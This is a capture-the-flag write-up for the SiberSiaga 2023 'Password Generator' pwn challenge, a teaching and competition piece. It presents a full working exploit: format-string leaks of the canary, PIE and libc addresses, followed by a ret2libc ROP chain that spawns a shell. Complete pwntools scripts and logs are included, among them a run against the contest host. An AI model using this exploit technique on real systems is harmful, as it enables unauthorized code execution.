SiberSiaga 2023: Password Generator

Generate strong & secure passwords for all your online accounts with our random password generator.

TL;DR

Abuse Format String Vulnerability to leak canary, LIBC and PIE addresses, then ret2libc.

Challenge Overview

This is a continuation of Backdoor or Frontdoor? challenge from the qualifier round. Similarly, running the binary prompts the user for a name, which is echoed back to us. Then, it asks for the password length instead of the actual password.

┌──(kali💀JesusCries)-[~/…/SiberSiaga2023 (Finals)/Pwn/Password Generator/bin]
└─$ ./main
  ,---------------------------,
  |  /---------------------   |
  | |                       | |
  | |     Pwn Challenge     | |
  | |    passwd generator   | |
  | |      SiberSiaga23     | |
  | |                       | |
  | |                       | |
  |  _____________________ /  |
  |___________________________|
  ,---_____     []     _______/------,
 /         /______________           /|
/___________________________________ /  | ___
|                                   |   |    )
|  _ _ _                 [-------]  |   |   (
|  o o o                 [-------]  |  /    _)_
|__________________________________ |/     /  /
/-------------------------------------/|      ( )/
/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ /
/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ /
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Enter name : test
Hello Mr/Ms
test
Enter length of the password = 12
        ************
        4+KX$0%ANh:q
        ************

Analysis

Initial Analysis

Preliminary checks on the binary protection shows that NX is enabled, leaving us with a ROP-based attack. Since canary is also in place, we need a READ PRIMITIVE to leak it and overwrite it back in order to keep it intact.

┌──(kali💀JesusCries)-[~/…/SiberSiaga2023 (Finals)/Pwn/Password Generator/bin]
└─$ checksec --file=main               
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY 
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   84 Symbols        No    

With PIE enabled, the base address for the binary, as well as any ROP Gadgets will be randomized each time we execute it. This can be verified by checking the LIBC import address on different runtime instances.

┌──(kali💀JesusCries)-[~/…/SiberSiaga2023 (Finals)/Pwn/Password Generator/bin]
└─$ ldd main
        linux-vdso.so.1 (0x00007ffdaf857000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fea8541f000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fea85924000)

┌──(kali💀JesusCries)-[~/…/SiberSiaga2023 (Finals)/Pwn/Password Generator/bin]
└─$ ldd main
        linux-vdso.so.1 (0x00007ffdfcd20000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff9d281f000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ff9d2df3000)

Static Code Analysis

The binary is susceptible to 2 vulnerabilities:

  1. Format String Vulnerability - In Line 13, printf() is used to print our user-controlled input without a format specifier. Using this, it provides us a READ PRIMITIVE to defeat canary and PIE.

  2. Buffer Overflow - In Line 15, fgets() is used to allocate a large number of characters, exceeding the size of the destination buffer. This is where we can control the EIP and construct a ROP Chain.

Also, note that the canary check is performed at Line 18. Since our canary local_10 is situated just below our buffer local_38, any Buffer Overflow attempt will trigger the binary to terminate immediately.

undefined8 convert(void)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter name : ");
  fgets(local_38,0x2a,stdin);
  puts("Hello Mr/Ms");
  printf(local_38,0x2a);
  printf("Enter length of the password = ");
  fgets(local_38,0x100,stdin);
  iVar1 = atoi(local_38);
  password(iVar1);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return 0;
}

Exploit

Format String Vulnerability

To leak addresses out from the stack, we can use the %p specifier. We can use this in our advantage to leak all LIBC, PIE and canary addresses at different offset of the stack. However, due to the size limitation of our input, we can only leak so much data before the binary is terminated due to stack smashing.

┌──(kali💀JesusCries)-[~/…/SiberSiaga2023 (Finals)/Pwn/Password Generator/bin]
└─$ ./main
  ,---------------------------,
  |  /---------------------   |
  | |                       | |
  | |     Pwn Challenge     | |
  | |    passwd generator   | |
  | |      SiberSiaga23     | |
  | |                       | |
  | |                       | |
  |  _____________________ /  |
  |___________________________|
  ,---_____     []     _______/------,
 /         /______________           /|
/___________________________________ /  | ___
|                                   |   |    )
|  _ _ _                 [-------]  |   |   (
|  o o o                 [-------]  |  /    _)_
|__________________________________ |/     /  /
/-------------------------------------/|      ( )/
/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ /
/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ /
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Enter name : %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Hello Mr/Ms
0x2a 0x1 0x7f0724c6e0e0 0x1 (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x567f0403b1830070 0x7ffde43cdf50 0x557856e00ef4 0x7ffde43ce068Enter length of the password = 

*** stack smashing detected ***: terminated
zsh: IOT instruction  ./main

Fuzzing

Instead of sending consecutive %p in a row, we can fuzz each offset separately with %1$p until %99$p to defeat the size limitation.

┌──(kali💀JesusCries)-[~/…/SiberSiaga2023 (Finals)/Pwn/Password Generator/bin]
└─$ ./main
Enter name : %3$p %5$p %7$p %9$p
Hello Mr/Ms
0x7f2ded18b0e0 (nil) 0x2520702437252070 0x7ffe3c4978b8

Addresses that ends with the same 3 bytes after executing the fuzzing script iteratively are our point of interest. We can determine these addresses by following the general Rule of Thumb:

  1. Offset 3: LIBC address usually starts with 0x7f

  2. Offset 11: Canary address are very random, and usually ends with 00 as it's trailing bytes

  3. Offset 13: PIE address usually starts with 0x5

Calculating Offset

Each time we execute the binary, the address at the 3rd offset that we leak will be different due to ASLR, along with the base address of LIBC, however, the leaked address will always be 0xf80e0 bytes away from the base of LIBC. With the knowledge of this offset value, we have just defeated ASLR!

┌──(kali💀JesusCries)-[~/…/SiberSiaga2023 (Finals)/Pwn/Password Generator/bin]
└─$ ./main        
Enter name : %13$lx::%11$lx::%3$lx
Hello Mr/Ms
555a9ae00ef4::87d78fededc83900::7fa26a73f0e0
Enter length of the password = 

┌──(kali💀JesusCries)-[~/…/SiberSiaga2023 (Finals)/Pwn/Password Generator/bin]
└─$ ps -aux 
kali       85964  0.0  0.0   2324  1068 pts/0    S+   10:46   0:00 ./main
kali       85965  0.9  0.0  10372  6548 pts/1    Ss   10:46   0:00 /usr/bin/zsh
kali       85978  0.0  0.0  12528  5448 pts/1    R+   10:46   0:00 ps -aux

┌──(kali💀JesusCries)-[~/…/SiberSiaga2023 (Finals)/Pwn/Password Generator/bin]
└─$ sudo gdb -q -p 85964 
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x555a9ae00000     0x555a9ae02000 r-xp     2000      0 /home/kali/Desktop/Password Generator/bin/main
    0x555a9b001000     0x555a9b002000 r--p     1000   1000 /home/kali/Desktop/Password Generator/bin/main
    0x555a9b002000     0x555a9b003000 rw-p     1000   2000 /home/kali/Desktop/Password Generator/bin/main
    0x7fa26a644000     0x7fa26a647000 rw-p     3000      0 [anon_7fa26a644]
    0x7fa26a647000     0x7fa26a66d000 r--p    26000      0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7fa26a66d000     0x7fa26a7c2000 r-xp   155000  26000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7fa26a7c2000     0x7fa26a815000 r--p    53000 17b000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7fa26a815000     0x7fa26a819000 r--p     4000 1ce000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7fa26a819000     0x7fa26a81b000 rw-p     2000 1d2000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7fa26a81b000     0x7fa26a828000 rw-p     d000      0 [anon_7fa26a81b]
    0x7fa26a844000     0x7fa26a846000 rw-p     2000      0 [anon_7fa26a844]
    0x7fa26a846000     0x7fa26a847000 r--p     1000      0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7fa26a847000     0x7fa26a86c000 r-xp    25000   1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7fa26a86c000     0x7fa26a876000 r--p     a000  26000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7fa26a876000     0x7fa26a878000 r--p     2000  30000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7fa26a878000     0x7fa26a87a000 rw-p     2000  32000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffd2cec5000     0x7ffd2cee6000 rw-p    21000      0 [stack]
    0x7ffd2cfe3000     0x7ffd2cfe7000 r--p     4000      0 [vvar]
    0x7ffd2cfe7000     0x7ffd2cfe9000 r-xp     2000      0 [vdso]
  
pwndbg> x 0x7fa26a73f0e0 - 0x7fa26a647000
0xf80e0:        Cannot access memory at address 0xf80e0

pwndbg> x 0x555a9ae00ef4 - 0x555a9ae00000
0xef4:  Cannot access memory at address 0xef4

Proof-of-Concept

As a Proof-of-Concept, we will attempt to rewrite the canary back with the leaked value, then redirect EIP back to the main function, so we get to see the challenge banner for a second time.

io.recvuntil(b"name : ")
io.sendline(b'%13$lx::%11$lx::%3$lx')
io.recvuntil(b'Mr/Ms\n')
leak = io.recvline()

pie = int(leak.strip().split(b'::')[0], 16) - 0xef4
canary = int(leak.strip().split(b'::')[1], 16)
libc.address = int(leak.strip().split(b'::')[2], 16) - 0xf80e0

payload = flat([
    40 * b'A',	#  buffer padding
    canary,
    8 * b'A',	# stack alignment
    pie + elf.symbols.main, 
])
┌──(kali💀JesusCries)-[~/…/SiberSiaga2023 (Finals)/Pwn/Password Generator/bin]
└─$ ./solve.py
[+] Starting local process './main': pid 79273
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 14 cached gadgets for './main'
[DEBUG] Received 0x337 bytes:
    b'  ,---------------------------,\n'
    b'  |  /---------------------   |\n'
    b'  | |                       | |\n'
    b'  | |     Pwn Challenge     | |\n'
    b'  | |    passwd generator   | |\n'
    b'  | |      SiberSiaga23     | |\n'
    b'  | |                       | |\n'
    b'  | |                       | |\n'
    b'  |  _____________________ /  |\n'
    b'  |___________________________|\n'
    b'  ,---_____     []     _______/------,\n'
    b' /         /______________           /|\n'
    b'/___________________________________ /  | ___\n'
    b'|                                   |   |    )\n'
    b'|  _ _ _                 [-------]  |   |   (\n'
    b'|  o o o                 [-------]  |  /    _)_\n'
    b'|__________________________________ |/     /  /\n'
    b'/-------------------------------------/|      ( )/\n'
    b'/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ /\n'
    b'/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ /\n'
    b'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n'
    b'Enter name : '
[DEBUG] Sent 0x16 bytes:
    b'%13$lx::%11$lx::%3$lx\n'
[DEBUG] Received 0x58 bytes:
    b'Hello Mr/Ms\n'
    b'559f68e00ef4::e142181957ab4700::7f360e8b80e0\n'
    b'Enter length of the password = '
[*] Pie: 0x559f68e00000
[*] Canary: 0xe142181957ab4700
[*] LIBC: 0x7f360e7c0000
[*] Loaded 195 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
[DEBUG] Sent 0x41 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  00 47 ab 57  19 18 42 e1  │AAAA│AAAA│·G·W│··B·│
    00000030  41 41 41 41  41 41 41 41  bd 0e e0 68  9f 55 00 00  │AAAA│AAAA│···h│·U··│
    00000040  0a                                                  │·│
    00000041
[*] Switching to interactive mode
[DEBUG] Received 0x331 bytes:
    b'  ,---------------------------,\n'
    b'  |  /---------------------   |\n'
    b'  | |                       | |\n'
    b'  | |     Pwn Challenge     | |\n'
    b'  | |    passwd generator   | |\n'
    b'  | |      SiberSiaga23     | |\n'
    b'  | |                       | |\n'
    b'  | |                       | |\n'
    b'  |  _____________________ /  |\n'
    b'  |___________________________|\n'
    b'  ,---_____     []     _______/------,\n'
    b' /         /______________           /|\n'
    b'/___________________________________ /  | ___\n'
    b'|                                   |   |    )\n'
    b'|  _ _ _                 [-------]  |   |   (\n'
    b'|  o o o                 [-------]  |  /    _)_\n'
    b'|__________________________________ |/     /  /\n'
    b'/-------------------------------------/|      ( )/\n'
    b'/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ /\n'
    b'/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ /\n'
    b'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n'
[*] Got EOF while reading in interactive

Solution

Local

To receive an interactive shell, instead of returning to main, we can construct a ROP chain to perform a ret2libc attack.

Local Solve Script
solve.py
#!/usr/bin/python3
from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
piebase
'''.format(**locals())

# Binary filename
exe = './main'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# libc leak at 3
# pie leak at 13 or 19
# canary leak at 11 or 35

# Start program
io = start()

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)

io.recvuntil(b"name : ")
io.sendline(b'%13$lx::%11$lx::%3$lx')
io.recvuntil(b'Mr/Ms\n')
leak = io.recvline()

pie = int(leak.strip().split(b'::')[0], 16) - 0xef4
canary = int(leak.strip().split(b'::')[1], 16)
libc.address = int(leak.strip().split(b'::')[2], 16) - 0xf80e0

log.info("Pie: %s" % hex(pie))
log.info("Canary: %s" % hex(canary))
log.info("LIBC: %s" % hex(libc.address))

rop = ROP(libc)

pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
ret = (rop.find_gadget(['ret']))[0]

payload = flat([
    40 * b'A',
    canary,
    8 * b'A',
    pop_rdi,
    next(libc.search(b'/bin/sh')),
    ret,
    libc.sym['system'], 
])

io.sendlineafter(b"password = ", payload)

io.interactive()
┌──(kali💀JesusCries)-[~/…/SiberSiaga2023 (Finals)/Pwn/Password Generator/bin]
└─$ ./solve.py
[+] Starting local process './main': pid 25273
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 14 cached gadgets for './main'
[DEBUG] Received 0x337 bytes:
    b'Enter name : '
[DEBUG] Sent 0x16 bytes:
    b'%13$lx::%11$lx::%3$lx\n'
[DEBUG] Received 0x58 bytes:
    b'Hello Mr/Ms\n'
    b'557b06000ef4::33ce426719431c00::7f2d88b2f0e0\n'
    b'Enter length of the password = '
[*] Pie: 0x557b06000000
[*] Canary: 0x33ce426719431c00
[*] LIBC: 0x7f2d88a37000
[*] Loaded 195 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
[DEBUG] Sent 0x59 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  00 1c 43 19  67 42 ce 33  │AAAA│AAAA│··C·│gB·3│
    00000030  41 41 41 41  41 41 41 41  25 e7 a5 88  2d 7f 00 00  │AAAA│AAAA│%···│-···│
    00000040  31 d0 bc 88  2d 7f 00 00  c2 e0 a5 88  2d 7f 00 00  │1···│-···│····│-···│
    00000050  30 33 a8 88  2d 7f 00 00  0a                        │03··│-···│·│
    00000059
[*] Switching to interactive mode
[DEBUG] Received 0x7 bytes:
    b'\n'
    b'\t\n'
    b'\t\n'
    b'\t\n'
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x24 bytes:
    b'core  flag  fuzz.py  main  solve.py\n'
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x170 bytes:
    b' _    _.--.____.--._\n'
    b'( )=.-":;:;:;;\':;:;:;"-._\n'
    b' \\\\\\:;:;:;:;:;;:;::;:;:;:\\\n'
    b'  \\\\\\:;:;:;:;:;;:;:;:;:;:;\\\n'
    b'   \\\\\\:;::;:;:;:;:;::;:;:;:\\\n'
    b'    \\\\\\:;:;:;:;:;;:;::;:;:;:\\\n'
    b'     \\\\\\:;::;:;:;:;:;::;:;:;:\\\n'
    b'      \\\\\\;;:;:_:--:_:_:--:_;:;\\\n'
    b'       \\\\\\_.-"             "-._\\\n'
    b'        \\\\\n'
    b'         \\\\\n'
    b'          \\\\\n'
    b'           \\\\\n'
    b'            \\\\\n'
    b'             \\\\\n'
    b'\n'
    b'SIBERSIAGA23{this_is_a_flag}\n'

Remote

Typically for a remote instance, the LIBC version in used will vary based on the setup, which leads to the need of recalculating the offset. As the docker files were provided, we can build the image and extract the LIBC in use.

┌──(kali💀JesusCries)-[~/Desktop/Password Generator]
└─$ ls      
bin  ctf.xinetd  Dockerfile  start.sh

┌──(kali💀JesusCries)-[~/Desktop/Password Generator]
└─$ sudo docker build -t siber .
[+] Building 13.1s (18/18) FINISHED 

┌──(kali💀JesusCries)-[~/Desktop/Password Generator]
└─$ sudo docker image ls
REPOSITORY                             TAG       IMAGE ID       CREATED         SIZE
siber                                  latest    06b1b8e932c3   9 minutes ago   997MB

┌──(kali💀JesusCries)-[~/Desktop/Password Generator/bin]
└─$ sudo docker run -it --rm --name passgen --entrypoint sh siber          
# ldd main
        linux-vdso.so.1 (0x00007ffd23f84000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3dfe8fb000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f3dfeeef000)
# readlink -f /lib/x86_64-linux-gnu/libc.so.6
/lib/x86_64-linux-gnu/libc-2.27.so

┌──(kali💀JesusCries)-[~/Desktop/Password Generator]
└─$ sudo docker create siber
41e5e5c13a9e975bdedc32b58ec7dab2ecea81c07b6fbe1350eda61910d0db6d

┌──(kali💀JesusCries)-[~/Desktop/Password Generator/bin]
└─$ sudo docker cp 41e5e5c13a9e975bdedc32b58ec7dab2ecea81c07b6fbe1350eda61910d0db6d:/lib/x86_64-linux-gnu/libc-2.27.so ~/Desktop/libc-2.27.so                 
Successfully copied 2.03MB to /home/kali/Desktop/libc-2.27.so

Now use pwninit to patch the binary, so that it uses the exact LIBC file we carved from the remote instance.

┌──(kali💀JesusCries)-[~/Desktop/Password Generator/bin]
└─$ ls
flag  libc-2.27.so  main

┌──(kali💀JesusCries)-[~/Desktop/Password Generator/bin]
└─$ pwninit
bin: ./main
libc: ./libc-2.27.so

fetching linker
https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.27-3ubuntu1.6_amd64.deb
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.27-3ubuntu1.6_amd64.deb
warning: failed unstripping libc: failed running eu-unstrip, please install elfutils: No such file or directory (os error 2)
setting ./ld-2.27.so executable
symlinking ./libc.so.6 -> libc-2.27.so
copying ./main to ./main_patched
running patchelf on ./main_patched
writing solve.py stub
                                                                                                                 
┌──(kali💀JesusCries)-[~/Desktop/Password Generator/bin]
└─$ ls
flag  ld-2.27.so  libc-2.27.so  libc.so.6  main  main_patched  solve.py

Recalculate the LIBC offset by repeating the steps above. We now have a different offset value.

libc.address = int(leak.strip().split(b'::')[2], 16) - 0x110104

Run the final solve script.

Remote Solve Script
solve.py
#!/usr/bin/python3
from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
piebase
'''.format(**locals())

# Binary filename
exe = './main_patched'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# libc leak at 3
# pie leak at 13 or 19
# canary leak at 11 or 35

# Start program
io = start()

libc = ELF("./libc.so.6")
rop = ROP(elf)

io.recvuntil(b"name : ")
io.sendline(b'%13$lx::%11$lx::%3$lx')
io.recvuntil(b'Mr/Ms\n')
leak = io.recvline()

pie = int(leak.strip().split(b'::')[0], 16) - 0xef4
canary = int(leak.strip().split(b'::')[1], 16)
libc.address = int(leak.strip().split(b'::')[2], 16) - 0x110104

log.info("Pie: %s" % hex(pie))
log.info("Canary: %s" % hex(canary))
log.info("LIBC: %s" % hex(libc.address))

rop = ROP(libc)

pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
ret = (rop.find_gadget(['ret']))[0]

payload = flat([
    40 * b'A',
    canary,
    8 * b'A',
    pop_rdi,
    next(libc.search(b'/bin/sh')),
    ret,
    libc.sym['system'], 
])

io.sendlineafter(b"password = ", payload)

io.interactive()
┌──(kali💀JesusCries)-[~/Desktop/Password Generator/bin]
└─$ ./solve.py REMOTE passgen.sibersiaga2023.myctf.io 9999                                          
[+] Opening connection to passgen.sibersiaga2023.myctf.io on port 9999: Done
[*] '/home/kali/Desktop/Password Generator/bin/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 14 cached gadgets for './main_patched'
[DEBUG] Received 0x337 bytes:
    b'\n'
    b'  ,---------------------------,\n'
    b'  |  /---------------------   |\n'
    b'  | |                       | |\n'
    b'  | |     Pwn Challenge     | |\n'
    b'  | |    passwd generator   | |\n'
    b'  | |      SiberSiaga23     | |\n'
    b'  | |                       | |\n'
    b'  | |                       | |\n'
    b'  |  _____________________ /  |\n'
    b'  |___________________________|\n'
    b'  ,---_____     []     _______/------,\n'
    b' /         /______________           /|\n'
    b'/___________________________________ /  | ___\n'
    b'|                                   |   |    )\n'
    b'|  _ _ _                 [-------]  |   |   (\n'
    b'|  o o o                 [-------]  |  /    _)_\n'
    b'|__________________________________ |/     /  /\n'
    b'/-------------------------------------/|      ( )/\n'
    b'/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ /\n'
    b'/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ /\n'
    b'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n'
    b'Enter name : '
[DEBUG] Sent 0x16 bytes:
    b'%13$lx::%11$lx::%3$lx\n'
[DEBUG] Received 0x58 bytes:
    b'Hello Mr/Ms\n'
    b'55d2a9600ef4::b7c35ca6eeb57f00::7fdcbdb10104\n'
    b'Enter length of the password = '
[*] Pie: 0x55d2a9600000
[*] Canary: 0xb7c35ca6eeb57f00
[*] LIBC: 0x7fdcbda00000
[*] Loaded 199 cached gadgets for './libc.so.6'
[DEBUG] Sent 0x59 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  00 7f b5 ee  a6 5c c3 b7  │AAAA│AAAA│····│··│
    00000030  41 41 41 41  41 41 41 41  4f 16 a2 bd  dc 7f 00 00  │AAAA│AAAA│O···│····│
    00000040  88 3d bb bd  dc 7f 00 00  aa 08 a0 bd  dc 7f 00 00  │·=··│····│····│····│
    00000050  20 f4 a4 bd  dc 7f 00 00  0a                         ···│····│·│
    00000059
[*] Switching to interactive mode
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x35 bytes:
    b'sibersiaga{c8db7933bd3abc5f854d5b0139e8e3ccca9f67b8}\n'
sibersiaga{c8db7933bd3abc5f854d5b0139e8e3ccca9f67b8}
$ 

Flag: sibersiaga{c8db7933bd3abc5f854d5b0139e8e3ccca9f67b8}

Last updated